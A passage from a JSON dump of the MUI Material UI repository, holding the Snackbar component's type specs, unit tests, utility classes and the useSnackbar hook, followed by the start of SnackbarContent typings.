individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default Snackbar;\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/Snackbar.spec.tsx",
    "content": "import { mergeSlotProps } from '@mui/material/utils';\nimport Snackbar, { SnackbarProps } from '@mui/material/Snackbar';\nimport { expectType } from '@mui/types';\n\n// slotProps.transition should reject unknown props\n<Snackbar\n  slotProps={{\n    // @ts-expect-error — unknown props should be rejected\n    transition: { randomInvalidProp: 'test' },\n  }}\n/>;\n\n<Snackbar\n  slots={{\n    root: 'dialog',\n    content: 'span',\n    clickAwayListener: 'div',\n    transition: 'span',\n  }}\n/>;\n\n<Snackbar\n  slotProps={{\n    root: {\n      className: 'flex',\n      sx: { color: 'red' },\n    },\n    content: {\n      action: null,\n      className: 'flex',\n      sx: { color: 'red' },\n    },\n    clickAwayListener: {\n      onClickAway(event) {\n        expectType<MouseEvent | TouchEvent, typeof event>(event);\n      },\n    },\n    transition: {\n      timeout: 1000,\n      onEnter(node, isAppearing) {\n        expectType<HTMLElement, typeof node>(node);\n        expectType<boolean, typeof isAppearing>(isAppearing);\n      },\n    },\n  }}\n/>;\n\nfunction Custom(props: SnackbarProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Snackbar\n      slotProps={{\n        ...slotProps,\n        transition: (ownerState) => {\n          const transitionProps =\n            typeof slotProps?.transition === 'function'\n              ? slotProps.transition(ownerState)\n              : slotProps?.transition;\n          return {\n            ...transitionProps,\n            onExited: (node) => {\n              transitionProps?.onExited?.(node);\n            },\n          };\n        },\n      }}\n      {...other}\n    />\n  );\n}\n\nfunction Custom2(props: SnackbarProps) {\n  const { slotProps, ...other } = props;\n  return (\n    <Snackbar\n      slotProps={{\n        ...slotProps,\n        transition: mergeSlotProps(slotProps?.transition, {\n          onExited: (node) => {\n            expectType<HTMLElement, typeof node>(node);\n          },\n        }),\n      }}\n      {...other}\n    />\n  );\n}\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/Snackbar.test.js",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { act, createRenderer, fireEvent, screen, isJsdom } from '@mui/internal-test-utils';\nimport Snackbar, { snackbarClasses as classes } from '@mui/material/Snackbar';\nimport { snackbarContentClasses } from '@mui/material/SnackbarContent';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Snackbar />', () => {\n  const { clock, render: clientRender } = createRenderer({ clock: 'fake' });\n  /**\n   * @type  {typeof plainRender extends (...args: infer T) => any ? T : never} args\n   *\n   * @remarks\n   * This is for all intents and purposes the same as our client render method.\n   * `plainRender` is already wrapped in act().\n   * However, React has a bug that flushes effects in a portal synchronously.\n   * We have to defer the effect manually like `useEffect` would so we have to flush the effect manually instead of relying on `act()`.\n   * React bug: https://github.com/facebook/react/issues/20074\n   */\n  function render(...args) {\n    // eslint-disable-next-line testing-library/render-result-naming-convention\n    const result = clientRender(...args);\n    clock.tick(0);\n    return result;\n  }\n\n  const CustomContent = React.forwardRef(function CustomContent(\n    { className, ownerState, ...props },\n    ref,\n  ) {\n    return (\n      <div\n        className={clsx(snackbarContentClasses.root, className)}\n        data-testid=\"custom\"\n        ref={ref}\n        {...props}\n      />\n    );\n  });\n\n  describeConformance(<Snackbar open message=\"message\" />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiSnackbar',\n    skip: ['componentProp', 'themeVariants'],\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      content: {\n        expectedClassName: snackbarContentClasses.root,\n        testWithComponent: CustomContent,\n        testWithElement: CustomContent,\n      },\n      transition: {\n        testWithElement: null,\n      },\n      // skip `clickAwayListener` because it does not have any element.\n    },\n  }));\n\n  describe('prop: onClose', () => {\n    it('should be call when clicking away', () => {\n      const handleClose = spy();\n      render(<Snackbar open onClose={handleClose} message=\"message\" />);\n\n      const event = new window.Event('click', { bubbles: true, cancelable: true });\n      document.body.dispatchEvent(event);\n\n      expect(handleClose.callCount).to.equal(1);\n      expect(handleClose.args[0]).to.deep.equal([event, 'clickaway']);\n    });\n\n    it('should be called when pressing Escape', () => {\n      const handleClose = spy();\n      render(<Snackbar open onClose={handleClose} message=\"message\" />);\n\n      expect(fireEvent.keyDown(document.body, { key: 'Escape' })).to.equal(true);\n      expect(handleClose.callCount).to.equal(1);\n      expect(handleClose.args[0][1]).to.deep.equal('escapeKeyDown');\n    });\n\n    it('can limit which Snackbars are closed when pressing Escape', () => {\n      const handleCloseA = spy((event) => event.preventDefault());\n      const handleCloseB = spy();\n      render(\n        <React.Fragment>\n          <Snackbar open onClose={handleCloseA} message=\"messageA\" />\n          <Snackbar open onClose={handleCloseB} message=\"messageB\" />\n        </React.Fragment>,\n      );\n\n      fireEvent.keyDown(document.body, { key: 'Escape' });\n\n      expect(handleCloseA.callCount).to.equal(1);\n      expect(handleCloseB.callCount).to.equal(0);\n    });\n  });\n\n  describe('Consecutive messages', () => {\n    it('should support synchronous onExited callback', () => {\n      const messageCount = 2;\n\n      const onClose = spy();\n      const onExited = spy();\n      const duration = 250;\n\n      let setSnackbarOpen;\n      function Test() {\n        const [open, setOpen] = React.useState(false);\n        // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler\n        setSnackbarOpen = setOpen;\n\n        function handleClose() {\n          setOpen(false);\n          onClose();\n        }\n\n        function handleExited() {\n          onExited();\n          if (onExited.callCount < messageCount) {\n            setOpen(true);\n          }\n        }\n\n        return (\n          <Snackbar\n            open={open}\n            onClose={handleClose}\n            slotProps={{ transition: { onExited: handleExited } }}\n            message=\"message\"\n            autoHideDuration={duration}\n            transitionDuration={duration / 2}\n          />\n        );\n      }\n      render(\n        <Test\n          onClose={onClose}\n          onExited={onExited}\n          message=\"message\"\n          autoHideDuration={duration}\n          transitionDuration={duration / 2}\n        />,\n      );\n\n      expect(onClose.callCount).to.equal(0);\n      expect(onExited.callCount).to.equal(0);\n\n      act(() => {\n        setSnackbarOpen(true);\n      });\n      clock.tick(duration);\n\n      expect(onClose.callCount).to.equal(1);\n      expect(onExited.callCount).to.equal(0);\n\n      clock.tick(duration / 2);\n\n      expect(onClose.callCount).to.equal(1);\n      expect(onExited.callCount).to.equal(1);\n\n      clock.tick(duration);\n\n      expect(onClose.callCount).to.equal(messageCount);\n      expect(onExited.callCount).to.equal(1);\n\n      clock.tick(duration / 2);\n\n      expect(onClose.callCount).to.equal(messageCount);\n      expect(onExited.callCount).to.equal(messageCount);\n    });\n  });\n\n  describe('prop: autoHideDuration', () => {\n    it('should call onClose when the timer is done', () => {\n      const handleClose = spy();\n      const autoHideDuration = 2e3;\n      const { setProps } = render(\n        <Snackbar\n          open={false}\n          onClose={handleClose}\n          message=\"message\"\n          autoHideDuration={autoHideDuration}\n        />,\n      );\n\n      setProps({ open: true });\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration);\n\n      expect(handleClose.callCount).to.equal(1);\n      expect(handleClose.args[0]).to.deep.equal([null, 'timeout']);\n    });\n\n    it('calls onClose at timeout even if the prop changes', () => {\n      const handleClose1 = spy();\n      const handleClose2 = spy();\n      const autoHideDuration = 2e3;\n      const { setProps } = render(\n        <Snackbar\n          open={false}\n          onClose={handleClose1}\n          message=\"message\"\n          autoHideDuration={autoHideDuration}\n        />,\n      );\n\n      setProps({ open: true });\n      clock.tick(autoHideDuration / 2);\n      setProps({ open: true, onClose: handleClose2 });\n      clock.tick(autoHideDuration / 2);\n\n      expect(handleClose1.callCount).to.equal(0);\n      expect(handleClose2.callCount).to.equal(1);\n    });\n\n    it('should not call onClose when the autoHideDuration is reset', () => {\n      const handleClose = spy();\n      const autoHideDuration = 2e3;\n      const { setProps } = render(\n        <Snackbar\n          open={false}\n          onClose={handleClose}\n          message=\"message\"\n          autoHideDuration={autoHideDuration}\n        />,\n      );\n\n      setProps({ open: true });\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration / 2);\n      setProps({ autoHideDuration: undefined });\n      clock.tick(autoHideDuration / 2);\n\n      expect(handleClose.callCount).to.equal(0);\n    });\n\n    it('should not call onClose if autoHideDuration is undefined', () => {\n      const handleClose = spy();\n      const autoHideDuration = 2e3;\n      render(\n        <Snackbar open onClose={handleClose} message=\"message\" autoHideDuration={undefined} />,\n      );\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration);\n\n      expect(handleClose.callCount).to.equal(0);\n    });\n\n    it('should not call onClose if autoHideDuration is null', () => {\n      const handleClose = spy();\n      const autoHideDuration = 2e3;\n\n      render(<Snackbar open onClose={handleClose} message=\"message\" autoHideDuration={null} />);\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration);\n\n      expect(handleClose.callCount).to.equal(0);\n    });\n\n    it('should not call onClose when closed', () => {\n      const handleClose = spy();\n      const autoHideDuration = 2e3;\n\n      const { setProps } = render(\n        <Snackbar\n          open\n          onClose={handleClose}\n          message=\"message\"\n          autoHideDuration={autoHideDuration}\n        />,\n      );\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration / 2);\n      setProps({ open: false });\n      clock.tick(autoHideDuration / 2);\n\n      expect(handleClose.callCount).to.equal(0);\n    });\n  });\n\n  [\n    {\n      type: 'mouse',\n      enter: (container) => fireEvent.mouseEnter(container.querySelector('button')),\n      leave: (container) => fireEvent.mouseLeave(container.querySelector('button')),\n    },\n    {\n      type: 'keyboard',\n      enter: (container) => act(() => container.querySelector('button').focus()),\n      leave: (container) => act(() => container.querySelector('button').blur()),\n    },\n  ].forEach((userInteraction) => {\n    describe(`interacting with ${userInteraction.type}`, () => {\n      it('should be able to interrupt the timer', () => {\n        const handleMouseEnter = spy();\n        const handleMouseLeave = spy();\n        const handleBlur = spy();\n        const handleFocus = spy();\n        const handleClose = spy();\n        const autoHideDuration = 2e3;\n\n        const { container } = render(\n          <Snackbar\n            action={<button>undo</button>}\n            open\n            onBlur={handleBlur}\n            onFocus={handleFocus}\n            onMouseEnter={handleMouseEnter}\n            onMouseLeave={handleMouseLeave}\n            onClose={handleClose}\n            message=\"message\"\n            autoHideDuration={autoHideDuration}\n          />,\n        );\n\n        expect(handleClose.callCount).to.equal(0);\n\n        clock.tick(autoHideDuration / 2);\n        userInteraction.enter(container.querySelector('div'));\n\n        if (userInteraction.type === 'keyboard') {\n          expect(handleFocus.callCount).to.equal(1);\n        } else {\n          expect(handleMouseEnter.callCount).to.equal(1);\n        }\n\n        clock.tick(autoHideDuration / 2);\n        userInteraction.leave(container.querySelector('div'));\n\n        if (userInteraction.type === 'keyboard') {\n          expect(handleBlur.callCount).to.equal(1);\n        } else {\n          expect(handleMouseLeave.callCount).to.equal(1);\n        }\n        expect(handleClose.callCount).to.equal(0);\n\n        clock.tick(2e3);\n\n        expect(handleClose.callCount).to.equal(1);\n        expect(handleClose.args[0]).to.deep.equal([null, 'timeout']);\n      });\n\n      it('should not call onClose with not timeout after user interaction', () => {\n        const handleClose = spy();\n        const autoHideDuration = 2e3;\n        const resumeHideDuration = 3e3;\n\n        const { container } = render(\n          <Snackbar\n            action={<button>undo</button>}\n            open\n            onClose={handleClose}\n            message=\"message\"\n            autoHideDuration={autoHideDuration}\n            resumeHideDuration={resumeHideDuration}\n          />,\n        );\n\n        expect(handleClose.callCount).to.equal(0);\n\n        clock.tick(autoHideDuration / 2);\n        userInteraction.enter(container.querySelector('div'));\n        clock.tick(autoHideDuration / 2);\n        userInteraction.leave(container.querySelector('div'));\n\n        expect(handleClose.callCount).to.equal(0);\n\n        clock.tick(2e3);\n\n        expect(handleClose.callCount).to.equal(0);\n      });\n\n      it('should call onClose when timer done after user interaction', () => {\n        const handleClose = spy();\n        const autoHideDuration = 2e3;\n        const resumeHideDuration = 3e3;\n\n        const { container } = render(\n          <Snackbar\n            action={<button>undo</button>}\n            open\n            onClose={handleClose}\n            message=\"message\"\n            autoHideDuration={autoHideDuration}\n            resumeHideDuration={resumeHideDuration}\n          />,\n        );\n\n        expect(handleClose.callCount).to.equal(0);\n\n        clock.tick(autoHideDuration / 2);\n        userInteraction.enter(container.querySelector('div'));\n        clock.tick(autoHideDuration / 2);\n        userInteraction.leave(container.querySelector('div'));\n\n        expect(handleClose.callCount).to.equal(0);\n\n        clock.tick(resumeHideDuration);\n\n        expect(handleClose.callCount).to.equal(1);\n        expect(handleClose.args[0]).to.deep.equal([null, 'timeout']);\n      });\n\n      it('should call onClose immediately after user interaction when 0', () => {\n        const handleClose = spy();\n        const autoHideDuration = 6e3;\n        const resumeHideDuration = 0;\n        const { setProps, container } = render(\n          <Snackbar\n            action={<button>undo</button>}\n            open\n            onClose={handleClose}\n            message=\"message\"\n            autoHideDuration={autoHideDuration}\n            resumeHideDuration={resumeHideDuration}\n          />,\n        );\n\n        setProps({ open: true });\n\n        expect(handleClose.callCount).to.equal(0);\n\n        userInteraction.enter(container.querySelector('div'));\n        clock.tick(100);\n        userInteraction.leave(container.querySelector('div'));\n        clock.tick(resumeHideDuration);\n\n        expect(handleClose.callCount).to.equal(1);\n        expect(handleClose.args[0]).to.deep.equal([null, 'timeout']);\n      });\n    });\n  });\n\n  describe('prop: disableWindowBlurListener', () => {\n    it('should pause auto hide when not disabled and window lost focus', () => {\n      const handleClose = spy();\n      const autoHideDuration = 2e3;\n      render(\n        <Snackbar\n          open\n          onClose={handleClose}\n          message=\"message\"\n          autoHideDuration={autoHideDuration}\n          disableWindowBlurListener={false}\n        />,\n      );\n\n      act(() => {\n        const bEvent = new window.Event('blur', {\n          bubbles: false,\n          cancelable: false,\n        });\n        window.dispatchEvent(bEvent);\n      });\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration);\n\n      expect(handleClose.callCount).to.equal(0);\n\n      act(() => {\n        const fEvent = new window.Event('focus', {\n          bubbles: false,\n          cancelable: false,\n        });\n        window.dispatchEvent(fEvent);\n      });\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration);\n\n      expect(handleClose.callCount).to.equal(1);\n      expect(handleClose.args[0]).to.deep.equal([null, 'timeout']);\n    });\n\n    it('should not pause auto hide when disabled and window lost focus', () => {\n      const handleClose = spy();\n      const autoHideDuration = 2e3;\n      render(\n        <Snackbar\n          open\n          onClose={handleClose}\n          message=\"message\"\n          autoHideDuration={autoHideDuration}\n          disableWindowBlurListener\n        />,\n      );\n\n      act(() => {\n        const event = new window.Event('blur', { bubbles: false, cancelable: false });\n        window.dispatchEvent(event);\n      });\n\n      expect(handleClose.callCount).to.equal(0);\n\n      clock.tick(autoHideDuration);\n\n      expect(handleClose.callCount).to.equal(1);\n      expect(handleClose.args[0]).to.deep.equal([null, 'timeout']);\n    });\n  });\n\n  describe('prop: open', () => {\n    it('should not render anything when closed', () => {\n      const { container } = render(<Snackbar open={false} message=\"Hello, World!\" />);\n      expect(container).to.have.text('');\n    });\n\n    it('should be able show it after mounted', () => {\n      const { container, setProps } = render(<Snackbar open={false} message=\"Hello, World!\" />);\n      expect(container).to.have.text('');\n      setProps({ open: true });\n      expect(container).to.have.text('Hello, World!');\n    });\n  });\n\n  describe('prop: children', () => {\n    it('should render the children', () => {\n      const nodeRef = React.createRef();\n      const children = <div ref={nodeRef} />;\n      const { container } = render(<Snackbar open>{children}</Snackbar>);\n      expect(container).to.contain(nodeRef.current);\n    });\n  });\n\n  describe('prop: slots.transition', () => {\n    it('should use a Grow by default', () => {\n      const childRef = React.createRef();\n      render(\n        <Snackbar open message=\"message\">\n          <div ref={childRef} />\n        </Snackbar>,\n      );\n      expect(childRef.current.style.transform).to.contain('scale');\n    });\n\n    it('accepts a different component that handles the transition', () => {\n      const transitionRef = React.createRef();\n      function Transition() {\n        return <div className=\"cloned-element-class\" ref={transitionRef} />;\n      }\n      const { container } = render(<Snackbar open slots={{ transition: Transition }} />);\n      expect(container).to.contain(transitionRef.current);\n    });\n  });\n\n  describe('prop: transitionDuration', () => {\n    it.skipIf(isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n\n      render(\n        <Snackbar open message=\"Hello, World!\">\n          <div data-testid=\"child\">Foo</div>\n        </Snackbar>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({\n        transitionDuration: `${enteringScreenDurationInSeconds}s, 0.15s`,\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            enteringScreen: 1,\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <Snackbar open message=\"Hello, World!\">\n            <div data-testid=\"child\">Foo</div>\n          </Snackbar>\n        </ThemeProvider>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s, 0.001s' });\n    });\n\n    it.skipIf(isJsdom())('should render the values provided via prop', function test() {\n      render(\n        <Snackbar open message=\"Hello, World!\" transitionDuration={1}>\n          <div data-testid=\"child\">Foo</div>\n        </Snackbar>,\n      );\n\n      const child = screen.getByTestId('child');\n      expect(child).toHaveComputedStyle({ transitionDuration: '0.001s, 0.001s' });\n    });\n  });\n\n  it('should skip default clickAway behavior when defaultMuiPrevented is true', () => {\n    const handleClose = spy();\n    render(\n      <Snackbar\n        open\n        onClose={handleClose}\n        message=\"message\"\n        slotProps={{\n          clickAwayListener: {\n            onClickAway: (event) => {\n              event.defaultMuiPrevented = true;\n            },\n          },\n        }}\n      />,\n    );\n\n    const event = new window.Event('click', { bubbles: true, cancelable: true });\n    document.body.dispatchEvent(event);\n\n    expect(handleClose.callCount).to.equal(0);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/index.d.ts",
    "content": "export { default } from './Snackbar';\nexport * from './Snackbar';\n\nexport { default as snackbarClasses } from './snackbarClasses';\nexport * from './snackbarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/index.js",
    "content": "export { default } from './Snackbar';\n\nexport { default as snackbarClasses } from './snackbarClasses';\nexport * from './snackbarClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/snackbarClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SnackbarClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `anchorOrigin={{ 'top', 'center' }}`. */\n  anchorOriginTopCenter: string;\n  /** Styles applied to the root element if `anchorOrigin={{ 'bottom', 'center' }}`. */\n  anchorOriginBottomCenter: string;\n  /** Styles applied to the root element if `anchorOrigin={{ 'top', 'right' }}`. */\n  anchorOriginTopRight: string;\n  /** Styles applied to the root element if `anchorOrigin={{ 'bottom', 'right' }}`. */\n  anchorOriginBottomRight: string;\n  /** Styles applied to the root element if `anchorOrigin={{ 'top', 'left' }}`. */\n  anchorOriginTopLeft: string;\n  /** Styles applied to the root element if `anchorOrigin={{ 'bottom', 'left' }}`. */\n  anchorOriginBottomLeft: string;\n}\n\nexport type SnackbarClassKey = keyof SnackbarClasses;\n\nexport function getSnackbarUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSnackbar', slot);\n}\n\nconst snackbarClasses: SnackbarClasses = generateUtilityClasses('MuiSnackbar', [\n  'root',\n  'anchorOriginTopCenter',\n  'anchorOriginBottomCenter',\n  'anchorOriginTopRight',\n  'anchorOriginBottomRight',\n  'anchorOriginTopLeft',\n  'anchorOriginBottomLeft',\n]);\n\nexport default snackbarClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/useSnackbar.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { fireEvent, createRenderer, screen } from '@mui/internal-test-utils';\nimport useSnackbar from './useSnackbar';\nimport { UseSnackbarParameters } from './useSnackbar.types';\n\ndescribe('useSnackbar', () => {\n  const { render } = createRenderer();\n\n  const invokeUseSnackbar = (props: UseSnackbarParameters) => {\n    const ref = React.createRef<ReturnType<typeof useSnackbar>>();\n    function TestComponent() {\n      const snackbarDefinition = useSnackbar(props);\n      React.useImperativeHandle(ref, () => snackbarDefinition, [snackbarDefinition]);\n      return null;\n    }\n\n    render(<TestComponent />);\n\n    return ref.current!;\n  };\n\n  describe('getRootProps', () => {\n    it('returns props for the root slot', () => {\n      const props: UseSnackbarParameters = {};\n\n      const { getRootProps } = invokeUseSnackbar(props);\n\n      const rootProps = getRootProps();\n\n      expect(rootProps.role).to.equal('presentation');\n    });\n\n    it('forwards external props including event handlers', () => {\n      const handleClickSpy = spy();\n\n      function Snackbar() {\n        const { getRootProps } = useSnackbar();\n\n        return <div {...getRootProps({ onClick: handleClickSpy, random: 'arbitraryValue' })} />;\n      }\n      render(<Snackbar />);\n\n      const snackbar = screen.getByRole('presentation');\n\n      expect(snackbar).to.have.attribute('random', 'arbitraryValue');\n\n      fireEvent.click(snackbar);\n\n      expect(handleClickSpy.callCount).to.equal(1);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/useSnackbar.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport useEventCallback from '@mui/utils/useEventCallback';\nimport useTimeout from '@mui/utils/useTimeout';\nimport extractEventHandlers from '@mui/utils/extractEventHandlers';\nimport {\n  UseSnackbarParameters,\n  SnackbarCloseReason,\n  UseSnackbarReturnValue,\n} from './useSnackbar.types';\nimport { EventHandlers } from '../utils/types';\n\nfunction useSnackbar(parameters: UseSnackbarParameters = {}): UseSnackbarReturnValue {\n  const {\n    autoHideDuration = null,\n    disableWindowBlurListener = false,\n    onClose,\n    open,\n    resumeHideDuration,\n  } = parameters;\n\n  const timerAutoHide = useTimeout();\n\n  React.useEffect(() => {\n    if (!open) {\n      return undefined;\n    }\n\n    /**\n     * @param {KeyboardEvent} nativeEvent\n     */\n    function handleKeyDown(nativeEvent: KeyboardEvent) {\n      if (!nativeEvent.defaultPrevented) {\n        if (nativeEvent.key === 'Escape') {\n          // not calling `preventDefault` since we don't know if people may ignore this event e.g. a permanently open snackbar\n          onClose?.(nativeEvent, 'escapeKeyDown');\n        }\n      }\n    }\n\n    document.addEventListener('keydown', handleKeyDown);\n\n    return () => {\n      document.removeEventListener('keydown', handleKeyDown);\n    };\n  }, [open, onClose]);\n\n  const handleClose = useEventCallback((event: null, reason: SnackbarCloseReason) => {\n    onClose?.(event, reason);\n  });\n\n  const setAutoHideTimer = useEventCallback((autoHideDurationParam: number | null) => {\n    if (!onClose || autoHideDurationParam == null) {\n      return;\n    }\n\n    timerAutoHide.start(autoHideDurationParam, () => {\n      handleClose(null, 'timeout');\n    });\n  });\n\n  React.useEffect(() => {\n    if (open) {\n      setAutoHideTimer(autoHideDuration);\n    }\n\n    return timerAutoHide.clear;\n  }, [open, autoHideDuration, setAutoHideTimer, timerAutoHide]);\n\n  const handleClickAway = (event: React.SyntheticEvent<any> | Event) => {\n    onClose?.(event, 'clickaway');\n  };\n\n  // Pause the timer when the user is interacting with the Snackbar\n  // or when the user hide the window.\n  const handlePause = timerAutoHide.clear;\n\n  // Restart the timer when the user is no longer interacting with the Snackbar\n  // or when the window is shown back.\n  const handleResume = React.useCallback(() => {\n    if (autoHideDuration != null) {\n      setAutoHideTimer(resumeHideDuration != null ? resumeHideDuration : autoHideDuration * 0.5);\n    }\n  }, [autoHideDuration, resumeHideDuration, setAutoHideTimer]);\n\n  const createHandleBlur =\n    (otherHandlers: EventHandlers) => (event: React.FocusEvent<HTMLDivElement, Element>) => {\n      const onBlurCallback = otherHandlers.onBlur;\n      onBlurCallback?.(event);\n      handleResume();\n    };\n\n  const createHandleFocus =\n    (otherHandlers: EventHandlers) => (event: React.FocusEvent<HTMLDivElement, Element>) => {\n      const onFocusCallback = otherHandlers.onFocus;\n      onFocusCallback?.(event);\n      handlePause();\n    };\n\n  const createMouseEnter =\n    (otherHandlers: EventHandlers) => (event: React.MouseEvent<HTMLDivElement, MouseEvent>) => {\n      const onMouseEnterCallback = otherHandlers.onMouseEnter;\n      onMouseEnterCallback?.(event);\n      handlePause();\n    };\n\n  const createMouseLeave =\n    (otherHandlers: EventHandlers) => (event: React.MouseEvent<HTMLDivElement, MouseEvent>) => {\n      const onMouseLeaveCallback = otherHandlers.onMouseLeave;\n      onMouseLeaveCallback?.(event);\n      handleResume();\n    };\n\n  React.useEffect(() => {\n    // TODO: window global should be refactored here\n    if (!disableWindowBlurListener && open) {\n      window.addEventListener('focus', handleResume);\n      window.addEventListener('blur', handlePause);\n\n      return () => {\n        window.removeEventListener('focus', handleResume);\n        window.removeEventListener('blur', handlePause);\n      };\n    }\n\n    return undefined;\n  }, [disableWindowBlurListener, open, handleResume, handlePause]);\n\n  const getRootProps = <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps: ExternalProps = {} as ExternalProps,\n  ) => {\n    const externalEventHandlers = {\n      ...extractEventHandlers(parameters),\n      ...extractEventHandlers(externalProps),\n    };\n\n    return {\n      // ClickAwayListener adds an `onClick` prop which results in the alert not being announced.\n      // See https://github.com/mui/material-ui/issues/29080\n      role: 'presentation',\n      ...externalProps,\n      ...externalEventHandlers,\n      onBlur: createHandleBlur(externalEventHandlers),\n      onFocus: createHandleFocus(externalEventHandlers),\n      onMouseEnter: createMouseEnter(externalEventHandlers),\n      onMouseLeave: createMouseLeave(externalEventHandlers),\n    };\n  };\n\n  return { getRootProps, onClickAway: handleClickAway };\n}\n\nexport default useSnackbar;\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/useSnackbar.types.ts",
    "content": "export type SnackbarCloseReason = 'timeout' | 'clickaway' | 'escapeKeyDown';\n\nexport interface UseSnackbarParameters {\n  /**\n   * The number of milliseconds to wait before automatically calling the\n   * `onClose` function. `onClose` should then set the state of the `open`\n   * prop to hide the Snackbar. This behavior is disabled by default with\n   * the `null` value.\n   * @default null\n   */\n  autoHideDuration?: number | null | undefined;\n  /**\n   * If `true`, the `autoHideDuration` timer will expire even if the window is not focused.\n   * @default false\n   */\n  disableWindowBlurListener?: boolean | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   * Typically `onClose` is used to set state in the parent component,\n   * which is used to control the `Snackbar` `open` prop.\n   * The `reason` parameter can optionally be used to control the response to `onClose`,\n   * for example ignoring `clickaway`.\n   *\n   * @param {React.SyntheticEvent<any> | Event} event The event source of the callback.\n   * @param {string} reason Can be: `\"timeout\"` (`autoHideDuration` expired), `\"clickaway\"`, or `\"escapeKeyDown\"`.\n   */\n  onClose?:\n    | ((event: React.SyntheticEvent<any> | Event | null, reason: SnackbarCloseReason) => void)\n    | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open?: boolean | undefined;\n  /**\n   * The number of milliseconds to wait before dismissing after user interaction.\n   * If `autoHideDuration` prop isn't specified, it does nothing.\n   * If `autoHideDuration` prop is specified but `resumeHideDuration` isn't,\n   * we default to `autoHideDuration / 2` ms.\n   */\n  resumeHideDuration?: number | undefined;\n}\n\nexport type UseSnackbarRootSlotProps<ExternalProps = {}> = ExternalProps &\n  UseSnackbarRootSlotOwnProps;\n\nexport interface UseSnackbarRootSlotOwnProps {\n  onBlur: React.FocusEventHandler;\n  onFocus: React.FocusEventHandler;\n  onMouseEnter: React.MouseEventHandler;\n  onMouseLeave: React.MouseEventHandler;\n  ref?: React.RefCallback<Element> | undefined;\n  role: React.AriaRole;\n}\n\nexport interface UseSnackbarReturnValue {\n  /**\n   * Resolver for the root slot's props.\n   * @param externalProps props for the root slot\n   * @returns props that should be spread on the root slot\n   */\n  getRootProps: <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps?: ExternalProps,\n  ) => UseSnackbarRootSlotProps<ExternalProps>;\n  /**\n   * Callback fired when a \"click away\" event is detected.\n   */\n  onClickAway: (event: React.SyntheticEvent<any> | Event) => void;\n}\n"
  },
  {
    "path": "packages/mui-material/src/SnackbarContent/SnackbarContent.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { PaperProps } from '../Paper';\nimport { SnackbarContentClasses } from './snackbarContentClasses';\n\nexport interface SnackbarContentProps extends StandardProps<PaperProps, 'children'> {\n  /**\n   * The action to display. It renders after the message, at the end of the snackbar.\n   */\n  action?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SnackbarContentClasses> | undefined;\n  /**\n   * The message to display.\n   */\n  message?: React.ReactNode;\n  /**\n   * The ARIA role attribute of the element.\n   * @default 'alert'\n   */\n  role?: PaperProps['role'] | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Snackbar](https://next.mui.com/material-ui/react-snackbar/)\n *\n * API:\n *\n * - [SnackbarContent API](https://next.mui.com/material-ui/api/snackbar-content/)\n * - inherits [Paper API](https://next.mui.com/material-ui/api/paper/)\n */\nexport default function SnackbarContent(props: SnackbarContentProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/SnackbarContent/SnackbarContent.js",
